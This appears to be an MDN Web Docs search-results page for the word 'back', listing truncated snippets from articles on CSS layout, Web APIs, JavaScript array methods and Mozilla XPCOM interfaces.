backnsiauthpromptprovidernsiauthpromptwrappernsiautocompletecontrollernsiautocompleteinputnsiautocompleteitemnsiautocompletelistenernsiautocompleteobservernsiautocompleteresultnsiautocompletesearchnsibadcertlistener2nsibidikeyboardnsibinaryinputstreamnsibinaryoutputstreamnsiblocklistpromptnsiblock...
...And 9 more matches
nsIMsgCloudFileProvider
inherits from: nsisupports method overview void init(in string aaccountkey); void uploadfile(in nsilocalfile afile, in nsirequestobserver acall
back); acstring urlforfile(in nsilocalfile afile); void cancelfileupload(in nsilocalfile afile); void refreshuserinfo(in boolean awithui, in nsirequestobserver acall
back); void deletefile(in nsilocalfile afile, in nsirequestobserver acall
back); void createnewaccount(in acstring aemailaddress, in acstring apassword, in acstring afirstname, in acstring alastname, in nsirequestobserver acall
back); void createexistingaccount(in nsire...
...questobserver acall
back); acstring providerurlforerror(in unsigned long aerror); attributes attribute type description type acstring readonly: the type is a unique string identifier which can be used by interface elements for styling.
... void uploadfile(in nsilocalfile afile, in nsirequestobserver acall
back); parameters afile the file to be uploaded.
...And 9 more matches
Using the MediaStream Recording API - Web APIs
it allows you to record snippets of audio and then play them
back.
...we'll concentrate on the recording and play
back functionality for this article.
...we wanted to give the first two (the header and the controls) fixed heights: header { height: 70px; } .main-controls { padding-bottom: 0.7rem; height: 170px; } however, we wanted to make the third area (which contains the recorded samples you can play
back) take up whatever space is left, regardless of the device height.
...And 9 more matches
Using Web Workers - Web APIs
web workers are a simple means for web content to run scripts in
background threads.
... worker feature detection for slightly more controlled error handling and
backwards compatibility, it is a good idea to wrap your worker accessing code in the following (main.js): if (window.worker) { ...
... in the worker, we can respond when the message is received by writing an event handler block like this (worker.js): onmessage = function(e) { console.log('message received from main script'); var workerresult = 'result: ' + (e.data[0] * e.data[1]); console.log('posting message
back to main script'); postmessage(workerresult); } the onmessage handler allows us to run some code whenever a message is received, with the message itself being available in the message event's data attribute.
...And 9 more matches
Auto-placement in CSS Grid Layout - CSS: Cascading Style Sheets
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-gap: 10px; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> default rules ...
...to cause all created rows to be 100 pixels tall for example you would use: * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-gap: 10px; grid-auto...
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four <br>this cell <br>has extra <br>content.
...And 9 more matches
Relationship of grid layout to other layout methods - CSS: Cascading Style Sheets
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> .wrapper { width: 500px; display: flex; flex-wrap: wrap; } .wrapper > div { flex: 1 1 150px; } in the ima...
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); } a simple question to ask yourself when dec...
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> </div> .wrapper { display: flex; align-items: flex-end; min-height: 200px; } .box1 { align-self: stretch; } .box2 ...
...And 9 more matches
Using CSS transforms - CSS: Cascading Style Sheets
<table> <tbody> <tr> <th><code>perspective: 250px;</code> </th> <th><code>perspective: 350px;</code> </th> </tr> <tr> <td> <div class="container"> <div class="cube pers250"> <div class="face front">1</div> <div class="face
back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </td> <td> <div class="container"> <div class="cube pers350"> <div class="face front">1</div> <div class="face
back">2</div> ...
...">5</div> <div class="face bottom">6</div> </div> </div> </td> </tr> <tr> <th><code>perspective: 500px;</code> </th> <th><code>perspective: 650px;</code> </th> </tr> <tr> <td> <div class="container"> <div class="cube pers500"> <div class="face front">1</div> <div class="face
back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </td> <td> <div class="container"> <div class="cube pers650"> <div class="face front">1</div> <div class="face
back">2</div> ...
... /* shorthand classes for different perspective values */ .pers250 { perspective: 250px; } .pers350 { perspective: 350px; } .pers500 { perspective: 500px; } .pers650 { perspective: 650px; } /* define the container div, the cube div, and a generic face */ .container { width: 200px; height: 200px; margin: 75px 0 0 75px; border: none; } .cube { width: 100%; height: 100%;
backface-visibility: visible; perspective-origin: 150% 150%; transform-style: preserve-3d; } .face { display: block; position: absolute; width: 100px; height: 100px; border: none; line-height: 100px; font-family: sans-serif; font-size: 60px; color: white; text-align: center; } /* define each face based on direction */ .front {
background: rgba(0, 0, 0, 0.3); transform: tr...
...And 9 more matches
In-Depth - Archive of obsolete content
this is useful for, say, putting the navigation controls (
back button) on the right hand side of the toolbar.
... click on the inspect icon and then click on the
back button in the browser window.
... what this will do is find the code for the
back button and display it in the dom inspector.
...And 8 more matches
Introduction to CSS layout - Learn web development
flexbox example 1 * {box-sizing: border-box;} .wrapper > div { border-radius: 5px;
background-color: rgb(207,232,220); padding: 1em; } .wrapper { display: flex; } <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> </div> in addition to the above properties that can be applied to the flex container, there are properties that can be applied to the flex items.
... flexbox example 2 * {box-sizing: border-box;} .wrapper > div { border-radius: 5px;
background-color: rgb(207,232,220); padding: 1em; } .wrapper { display: flex; } .wrapper > div { flex: 1; } <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> </div> note: this has been a very short introduction to what is possible in flexbox, to find out more, see our flexbox article.
... grid example 1 * {box-sizing: border-box;} .wrapper > div { border-radius: 5px;
background-color: rgb(207,232,220); padding: 1em; } .wrapper { display: grid; grid-template-columns: 1fr 1fr 1fr; grid-template-rows: 100px 100px; grid-gap: 10px; } <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> <div class="box4">four</div> <div class="box5">five</div> <div class="...
...And 8 more matches
Styling lists - Learn web development
you are better off using the
background family of properties, which you've learned in the
backgrounds and borders article.
... in our finished example, we have styled the unordered list like so (on top of what you've already seen above): ul { padding-left: 2rem; list-style-type: none; } ul li { padding-left: 2rem;
background-image: url(star.svg);
background-position: 0 0;
background-size: 1.6rem 1.6rem;
background-repeat: no-repeat; } here we've done the following: set the padding-left of the <ul> down from the default 40px to 20px, then set the same amount on the list items.
... this is so that overall the list items are still lined up with the order list items and the description list descriptions, but the list items have some padding for the
background images to sit inside.
...And 8 more matches
Advanced form styling - Learn web development
interestingly, setting border/
background on the search field also fixes this problem, as it disables or "breaks" the aqua appearance too.
...however, this seems to get rid of the icon with focus too, with no apparent way to get it
back.
... for example, consider this simple test case: <span><input type="checkbox"></span> span { display: inline-block;
background: red; } input[type="checkbox"] { width: 100px; height: 100px; } different browsers handle this in many different, often ugly ways: browser rendering firefox 71 (macos) firefox 57 (windows 10) chrome 77 (macos), safari 13, opera chrome 63 (windows 10) internet explorer 11 (windows 10) edge 16 (windows 10) usi...
...And 8 more matches
How to build custom form controls - Learn web development
*/
background : #f0f0f0;
background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { /* because the value can be wider than our control, we have to make sure it will not change the control's width.
...it could also be implemented using a simple
background image on the select class.
...tent : "▼"; /* we use the unicode character u+25bc; make sure to set a charset meta tag */ position: absolute; z-index : 1; /* this will be important to keep the arrow from overlapping the list of options */ top : 0; right : 0; box-sizing : border-box; height : 100%; width : 2em; padding-top : .1em; border-left : .2em solid #000; border-radius: 0 .1em .1em 0;
background-color : #000; color : #fff; text-align : center; } next, let's style the list of options: .select .optlist { z-index : 2; /* we explicitly said the list of options will always be on top of the down arrow */ /* this will reset the default style of the ul element */ list-style: none; margin : 0; padding: 0; box-sizing : border-box; /* if the values are smaller than the ...
...And 8 more matches
HTML text fundamentals - Learn web development
my legs are made of cardboard and i am married to a fish.</textarea> <div class="playable-buttons"> <input id="reset" type="button" value="reset"> <input id="solution" type="button" value="show solution"> </div> html { font-family: sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px;
background: #f5f9fa; } var textarea = document.getelementbyid('code'); var reset = document.getelementbyid('reset'); var solution = document.getelementbyid('solution'); var output = document.queryselector('.output'); var code = textarea.value; var userentry = textarea.value; function updatecode() { output.innerhtml = textarea.value; } reset.addeventlistener('click', function() { textarea.value ...
... and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.preventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { var scrollpos = textarea.scrolltop; var caretpos = textarea.selectionstart; var front = (textarea.value).substring(0, caretpos); var
back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value = front + text +
back; caretpos = caretpos + text.length; textarea.selectionstart = caretpos; textarea.selectionend = caretpos; textarea.focus(); textarea.scrolltop = scrollpos; } // update the saved usercode every time the user updates the text area code textarea.onkeyup = function(){ // we...
...ut" style="min-height: 100px; width: 95%">milk eggs bread hummus</textarea> <div class="playable-buttons"> <input id="reset" type="button" value="reset"> <input id="solution" type="button" value="show solution"> </div> html { font-family: sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px;
background: #f5f9fa; } var textarea = document.getelementbyid('code'); var reset = document.getelementbyid('reset'); var solution = document.getelementbyid('solution'); var output = document.queryselector('.output'); var code = textarea.value; var userentry = textarea.value; function updatecode() { output.innerhtml = textarea.value; } reset.addeventlistener('click', function() { textarea.value ...
...And 8 more matches
Mozilla accessibility architecture
feed
back and constructive suggestions are encouraged.
...when the doc accessible is asked for, an event is fired which reaches the presshell, which then uses the accessibility service singleton (nsiaccessibilityservice) to create the doc accessible and return it
back to the widget code.
... whether via nsiaccessibleprovider::getaccessible() or nsiframe::getaccessible(), new accessibles are created by calling
back to the accessibility service, and using a specific method for creating each type of accessible.
...And 8 more matches
NetUtil.jsm
method overview nsiasyncstreamcopier asynccopy(nsiinputstream asource, nsioutputstream asink, [optional] acall
back) void asyncfetch(asource, acall
back) nsichannel newchannel(awhattoload, [optional] aorigincharset, [optional] nsiuri abaseuri) nsiuri newuri(atarget, [optional] aorigincharset, [optional] nsiuri abaseuri) string readinputstreamtostring(ainputstream, acount, aoptions) attributes attribute type description ioservice nsiioservice...
... nsiasyncstreamcopier asynccopy( asource, asink, acall
back ); parameters asource the input stream from which to read the source data.
... acall
back an optional function that will be called when the copy operation is completed.
...And 8 more matches
Promise
a new promise is returned, whose state evolves depending on this promise and the provided call
back functions.
... the appropriate call
back is always invoked after this method returns, even if this promise is already fulfilled or rejected.
... you can also call the then method multiple times on the same promise, and the call
backs will be invoked in the same order as they were registered.
...And 8 more matches
Profile Manager
backing up and restoring profiles profile manager offers two different mechanisms for
backing up and restoring profiles.
...
backup folder profile manager has a local
backup folder where it can manage profile
backups.
... this is the easiest way to
backup and restore profiles.
...And 8 more matches
Index
if a programmer wants to influence how nss verifies certificates or how nss verifies the data presented in a ssl connection handshake, it is possible to register application-defined call
back functions which will be called by nss at the appropriate point of time, and which can be used to override the decisions made by nss.
...if you must support proxies in your application, you are able to register your own implementation of an http request call
back interface, and nss can use your application code that supports proxies.
...the data will be processed and either returned directly or sent to a call
back function registered in the context.
...And 8 more matches
JSS FAQ
can you explain jss ssl certificate approval call
backs?
... by using the nss tool ssltap can you explain jss ssl certificate approval call
backs?
... nss has three call
backs related to certificates.
...And 8 more matches
JS_ReportErrorNumber
syntax void js_reporterrornumber(jscontext *cx, jserrorcall
back errorcall
back, void *userref, const unsigned errornumber, ...); void js_reporterrornumberuc(jscontext *cx, jserrorcall
back errorcall
back, void *userref, const unsigned errornumber, ...); bool js_reporterrorflagsandnumber(jscontext *cx, unsigned flags, jserrorcall
back errorcall
back, void *userref, const unsigned errornumber, ...); bool js_reporterrorflagsandnumberuc(jscontext *cx, unsigned flags, jserrorcall
back errorcall
back, void *userref, const unsigned errornumber, ...); void js_reporterrornumber...
...ucarray(jscontext *cx, jserrorcall
back errorcall
back, void *userref, const unsigned errornumber, const char16_t **args); // added in spidermonkey 19 name type description cx jscontext * the context in which to report the error.
... errorcall
back jserrorcall
back call
back to fetch the error message.
...And 8 more matches
Starting WebLock
getting access to the category manager two fields in the nsmodulecomponentinfo structure introduced in the last section are addresses for registration and unregistration call
backs.
... the first call
back is called when the component's nsimodule::registerself method is called.
... this call
back allows the component to execute any one-time registration code it may need.
...And 8 more matches
mozIAsyncHistory
rits from: nsisupports last changed in gecko 24.0 (firefox 24.0 / thunderbird 24.0 / seamonkey 2.21) implemented by: @mozilla.org/browser/history;1 as a service: var asynchistory = components.classes["@mozilla.org/browser/history;1"] .getservice(components.interfaces.moziasynchistory); method overview void getplacesinfo(in jsval aplaceidentifiers, in mozivisitinfocall
back acall
back); void isurivisited(in nsiuri auri, in mozivisitedstatuscall
back acall
back); void updateplaces(in moziplaceinfo, [optional] in mozivisitinfocall
back acall
back); methods getplacesinfo() starts an asynchronous request to determine whether or not a given uri has been visited; you must implement a call
back to receive the result of the request.
... void getplacesinfo( in jsval aplaceidentifiers, in mozivisitinfocall
back acall
back ); parameters aplaceidentifiers the uri for which to determine the visited status.
... acall
back an object implementing the mozivisitedstatuscall
back.isvisited() method.
...And 8 more matches
mozIStorageService
storage/public/mozistorageservice.idlscriptable this interface lets you open a mozistorageconnection to a database file, as well as create
backups of an unopened database file.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) see mozistorageconnection method overview nsifile
backupdatabasefile(in nsifile adbfile, in astring a
backupfilename, [optional] in nsifile a
backupparentdirectory); mozistorageconnection opendatabase(in nsifile adatabasefile); mozistorageconnection openspecialdatabase(in string astoragekey); mozistorageconnection openunshareddatabase(in nsifile adatabasefile); methods
backupdatabasefile() this method makes a
backup of the specified file.
...the actual
backup file is returned, and the resulting filename can be obtained from that.
...And 8 more matches
Storage
this extension is treated specially by windows as a known extension for an 'application compatibility database' and changes are
backed up by the system automatically as part of system restore functionality.
...the latter will allow all ongoing transactions to complete before closing the connection, and will optionally notify you via call
back when the connection is closed.
... no results to be returned if you do not need to get any results
back, you can use mozistorageconnection.executesimplesql() api like this in javascript: dbconn.executesimplesql("create temp table table_name (column_name integer)"); similarly, the c++ looks like this: rv = mdbconn->executesimplesql(ns_literal_cstring("create temp table table_name (column_name integer)")); ns_ensure_success(rv, rv); results to be returned however, if you need to get results
back, you should create the statement with the mozistorageconnect...
...And 8 more matches
Media Session action types - Web APIs
the following strings identify the currently available types of media session action: nexttrack advances play
back to the next track.
... pause pauses play
back of the media.
... play begins (or resumes) play
back of the media.
...And 8 more matches
WebGLRenderingContext - Web APIs
the webgl context the following properties and methods provide general information and functionality to deal with the webgl context: webglrenderingcontext.canvas a read-only
back-reference to the htmlcanvaselement.
... webglrenderingcontext.commit() pushes frames
back to the original htmlcanvaselement, if the context is not directly fixed to a specific canvas.
... webglrenderingcontext.cullface() specifies whether or not front- and/or
back-facing polygons can be culled.
...And 8 more matches
Viewpoints and viewers: Simulating cameras in WebXR - Web APIs
this essentially uses the texture as a
backbuffer for performing multiple buffering in your 2d graphics application.
... dollying (moving in or out) a dolly shot is one in which the entire camera is moved forward and
backward.
... to perform a dolly operation, translate the camera view forward and
backward along the z axis: mat4.translate(viewmatrix, viewmatrix, [0, 0, dollydistance]); here, [0, 0, dollydistance] is a vector wherein dollydistance is the distance to dolly the camera.
...And 8 more matches
Window.open() - Web APIs
this function is the lonely key to get
back the handle on a window if the developer has access only to its name (the name can be saved with cookies or local storage but not the window object handle).
... toolbar if this feature is on, then the new secondary window renders the toolbar buttons (
back, forward, reload, stop buttons).
... tip: for accessibility reasons, it is strongly encouraged to set this feature always on window functionality features noopener if this feature is set, the newly-opened window will open as normal, except that it will not have access
back to the originating window (via window.opener — it returns null).
...And 8 more matches
Border-radius generator - CSS: Cascading Style Sheets
} /* input slider */ .ui-input-slider > input { margin: 0; padding: 0; width: 50px; text-align: center; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } .ui-input-slider-info { width: 90px; padding: 0px 10px 0px 0px; text-align: right; text-transform: lowercase; } .ui-input-slider-left, .ui-input-slider-right { width: 16px; cursor: pointer;
background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat; } .ui-input-slider-right {
background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat; } .ui-input-slider-name { width: 90px; padding: 0 10px 0 0; text-align: right; text-transform: lowercase; } .ui-input-slider-btn-set { width: 25px;
background-color: #2c9fc9; bord...
...er-radius: 5px; color: #fff; font-weight: bold; line-height: 14px; text-align: center; } .ui-input-slider-btn-set:hover {
background-color: #379b4a; cursor: pointer; } /* * ui component */ /* checkbox */ .ui-checkbox { text-align: center; font-size: 16px; font-family: "segoe ui", arial, helvetica, sans-serif; line-height: 1.5em; color: #fff; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-checkbox > input { display: none; } .ui-checkbox > label { font-size: 12px; padding: 0.333em 1.666em 0.5em; height: 1em; line-height: 1em;
background-color: #888;
background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
background-position: center center;
background-repeat: no-repeat; color: #fff; bo...
...rder-radius: 3px; font-weight: bold; float: left; } .ui-checkbox .text { padding-left: 34px;
background-position: center left 10px; } .ui-checkbox .left { padding-right: 34px; padding-left: 1.666em;
background-position: center right 10px; } .ui-checkbox > label:hover { cursor: pointer; } .ui-checkbox > input:checked + label {
background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
background-color: #379b4a; } body { max-width: 1000px; margin: 0 auto; font-family: "segoe ui", arial, helvetica, sans-serif; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } #container { width: 100%; -moz-box-sizing: border-box; -web...
...And 8 more matches
Line-based placement with CSS Grid - CSS: Cascading Style Sheets
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: repeat(3, 100px); } <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</...
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: repeat(3, 100px); } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> <div...
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: repeat(3, 100px); } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> <div...
...And 8 more matches
Creating a cross-browser video player - Developer guides
<figure id="videocontainer"> <video id="video" controls preload="metadata" poster="img/poster.jpg"> <source src="video/tears-of-steel-battle-clip-medium.mp4" type="video/mp4"> <source src="video/tears-of-steel-battle-clip-medium.webm" type="video/webm"> <source src="video/tears-of-steel-battle-clip-medium.ogg" type="video/ogg"> <!-- flash fall
back --> <object type="application/x-shockwave-flash" data="flash-player.swf?videourl=video/tears-of-steel-battle-clip-medium.mp4" width="1024" height="576"> <param name="movie" value="flash-player.swf?videourl=video/tears-of-steel-battle-clip-medium.mp4" /> <param name="allowfullscreen" value="true" /> <param name="wmode" value="transparent" /> <param name="f...
...lashvars" value="controlbar=over&image=img/poster.jpg&file=flash-player.swf?videourl=video/tears-of-steel-battle-clip-medium.mp4" /> <img alt="tears of steel poster image" src="img/poster.jpg" width="1024" height="428" title="no video play
back possible, please download the video from the link below" /> </object> <!-- offer download --> <a href="video/tears-of-steel-battle-clip-medium.mp4">download mp4</a> </video> <figcaption>© blender foundation | <a href="http://mango.blender.org">mango.blender.org</a></figcaption> </figure> even though this player will define its own custom control set, the controls attribute is still added to the <video> element, and the player's default control set is switched off later with javascript.
... for browsers that do not support html5 video, a flash player is provided that will allow play
back of the mp4 video source, provided the end user has flash installed.
...And 8 more matches
<tr>: The Table Row element - HTML: Hypertext Markup Language
bgcolorobsolete since html5 a domstring specifying a color to apply to the
backgrounds of each of the row's cells.
...omitting the attribute or setting it to null in javascript causes the row's cells to inherit the row's parent element's
background color.
...to give a similar effect as the bgcolor attribute, use the css property
background-color.
...And 8 more matches
Array.prototype.reduceRight() - JavaScript
syntax arr.reduceright(call
back(accumulator, currentvalue[, index[, array]])[, initialvalue]) parameters call
back function to execute on each value in the array, taking four arguments: accumulator the value previously returned in the last invocation of the call
back, or initialvalue, if supplied.
... initialvalueoptional value to use as accumulator to the first call of the call
back.
... description reduceright executes the call
back function once for each element present in the array, excluding holes in the array, receiving four arguments: the initial value (or value from the previous call
back call), the value of the current element, the current index, and the array over which iteration is occurring.
...And 8 more matches
Array.prototype.some() - JavaScript
syntax arr.some(call
back(element[, index[, array]])[, thisarg]) parameters call
back a function to test for each element, taking three arguments: element the current element being processed in the array.
... thisargoptional a value to use as this when executing call
back.
... return value true if the call
back function returns a truthy value for at least one element in the array.
...And 8 more matches
Image file type and format guide - Web media technologies
you can display an svg image anywhere you can use any of the other image types, including with the <img> and <picture> elements, the
background-image css property, and so forth.
...provide a fall
back in either jpeg or png format, such as with the <picture> element.
...to maximize quality and minimize download time, consider providing both using a fall
back with webp as the first choice and jpeg as the second.
...And 8 more matches
Mobile first - Progressive web apps (PWAs)
of course, your users will be concentrating on what they're doing, but they are likely to be in a car with bad lighting, or in a noisy bar with the sport on tv in the
background!
...you could then also provide a link to get
back up to the top of the article.
...home</a></li> <li><a href="#">articles</a></li> <li><a href="#">videos</a></li> <li><a href="#">work</a></li> <li><a href="#">about</a></li> <li><a href="#">contact</a></li> </ul> </nav> <header> <a id="top" href="#bottom">jump to menu</a> <h1>my article</h1> </header> <div class="main"> <p>lorem ipsum … </p> <a id="bottom" href="#top">
back to top</a> </div> </article> <button id="install-btn">install</button> default mobile css for the css, i first added some styles into our app.css stylesheet to provide a reasonable narrow-screen layout.
...And 8 more matches
timers - Archive of obsolete content
globals constructors functions settimeout(call
back, ms) schedules call
back to be called in ms milliseconds.
... any additional arguments are passed straight through to the call
back.
... parameters call
back : function function to be called.
...And 7 more matches
Fundamental text and font styling - Learn web development
note: if the above paragraph leaves you feeling confused, then no matter — go
back and review our box model article, to brush up on the box model theory, before carrying on.
...in this example we'll apply some different css properties to the same html sample, which looks like this: <h1>tommy the cat</h1> <p>well i remember it as though it were a meal ago...</p> <p>said tommy the cat as he reeled
back to clear whatever foreign matter may have nestled its way into his mighty throat.
... color can accept any css color unit, for example: p { color: red; } this will cause the paragraphs to become red, rather than the standard browser default black, like so: <h1>tommy the cat</h1> <p>well i remember it as though it were a meal ago...</p> <p>said tommy the cat as he reeled
back to clear whatever foreign matter may have nestled its way into his mighty throat.
...And 7 more matches
UI pseudo-classes - Learn web development
for example: <form> <fieldset> <legend>feed
back form</legend> <div> <label for="fname">first name: </label> <input id="fname" name="fname" type="text" required> </div> <div> <label for="lname">last name: </label> <input id="lname" name="lname" type="text" required> </div> <div> <label for="email">email address (include if you want a response): </label> <input id="email" name="email" type=...
...for example, in our custom radio buttons example, we use generated content to handle the placement and animation of the inner circle when a radio button is selected: input[type="radio"]::before { display: block; content: " "; width: 10px; height: 10px; border-radius: 6px;
background-color: red; font-size: 1.2em; transform: translate(3px, 3px) scale(0); transform-origin: center; transition: all 0.3s ease-in; } input[type="radio"]:checked::before { transform: translate(3px, 3px) scale(1); transition: all 0.3s cubic-bezier(0.25, 0.25, 0.56, 2); } this is really useful — screenreaders already let their users know when a radio button or checkbox they encount...
...
back to our required/optional example from before, this time we'll not alter the appearance of the input itself — we'll use generated content to add an indicating label (see it live here, and see the source code here).
...And 7 more matches
From object to iframe — other embedding technologies - Learn web development
these were considered the height of coolness in the mid to late 90s, and there was evidence that having a webpage split up into smaller chunks like this was better for download speeds — especially noticeable with network connections being so slow
back then.
... id="code" class="input" style="width: 95%;min-height: 100px;"> </textarea> <div class="playable-buttons"> <input id="reset" type="button" value="reset"> <input id="solution" type="button" value="show solution"> </div> html { font-family: sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px;
background: #f5f9fa; } const textarea = document.getelementbyid('code'); const reset = document.getelementbyid('reset'); const solution = document.getelementbyid('solution'); const output = document.queryselector('.output'); let code = textarea.value; let userentry = textarea.value; function updatecode() { output.innerhtml = textarea.value; } reset.addeventlistener('click', function() { textare...
...make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.preventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { const scrollpos = textarea.scrolltop; const caretpos = textarea.selectionstart; const front = (textarea.value).substring(0, caretpos); const
back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value = front + text +
back; caretpos = caretpos + text.length; textarea.selectionstart = caretpos; textarea.selectionend = caretpos; textarea.focus(); textarea.scrolltop = scrollpos; } // update the saved usercode every time the user updates the text area code textarea.onkeyup = function(){ // we...
...And 7 more matches
Making decisions in your code — conditionals - Learn web development
we first looked at comparison operators
back in our basic math in javascript — numbers and operators article.
... <label for="theme">select theme: </label> <select id="theme"> <option value="white">white</option> <option value="black">black</option> </select> <h1>this is my website</h1> const select = document.queryselector('select'); const html = document.queryselector('html'); document.body.style.padding = '10px'; function update(bgcolor, textcolor) { html.style.
backgroundcolor = bgcolor; html.style.color = textcolor; } select.onchange = function() { ( select.value === 'black' ) ?
...the website's
background color is set to the first provided color, and its text color is set to the second provided color.
...And 7 more matches
IPDL Tutorial
we call this synchronous semantics, as the sender blocks until the receiver receives the message and sends
back a reply.
...the first overload will have a resolve call
back and reject call
back as its final two parameters; the second overload will not have any additional parameters, but it will return a pprotocol{parent,child}::messagenamepromise, which is a mozpromise.
... the resolve call
back for the first overload as well as the success call
back for the mozpromise's then() method each have a single parameter.
...And 7 more matches
Sqlite.jsm
sqlite.jsm exposes a transaction api built on top of task.jsm that allows transactions to be written as procedural javascript functions (as opposed to a series of call
back driven operations).
... if the function throws, the transaction is automatically rolled
back.
... if a transaction is in progress at the time this function is called, the transaction will be forcibly rolled
back.
...And 7 more matches
JSObjectPrincipalsFinder
jsobjectprincipalsfinder is the type of a security call
back that can be configured using js_setobjectprincipalsfinderjsapi 1.8 and earlier or js_setruntimesecuritycall
backsadded in spidermonkey 1.8.1.
... call
back syntax typedef jsprincipals * (* jsobjectprincipalsfinder)(jscontext *cx, jsobject *obj); name type description cx jscontext * the context in which to find principals.
... description the javascript engine calls this call
back to obtain principals for a jsprincipals.subsume check.
...And 7 more matches
nsIAuthPrompt2
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) this interface is usually acquired using getinterface on notification call
backs or similar.
...to create an instance, use: var authprompt2 = components.classes["@mozilla.org/login-manager/prompter;1"] .createinstance(components.interfaces.nsiauthprompt2); method overview nsicancelable asyncpromptauth(in nsichannel achannel, in nsiauthpromptcall
back acall
back, in nsisupports acontext, in pruint32 level, in nsiauthinformation authinfo); boolean promptauth(in nsichannel achannel, in pruint32 level, in nsiauthinformation authinfo); constants constant value description level_none 0 the password will be sent unencrypted.
...this has largely the same semantics as nsiauthprompt.promptusernameandpassword(), but must return immediately after calling and return the entered data in a call
back.
...And 7 more matches
nsIWindowMediator
nsisimpleenumerator getzorderdomwindowenumerator(in wstring awindowtype, in boolean afrontto
back); nsisimpleenumerator getzorderxulwindowenumerator(in wstring awindowtype, in boolean afrontto
back); void registerwindow(in nsixulwindow awindow); native code only!
...but we expect this to be called from call
backs originating in native window code.
... getmostrecentwindow() this is a shortcut for simply fetching the first window in front to
back order.
...And 7 more matches
AudioBufferSourceNode - Web APIs
it's especially useful for playing
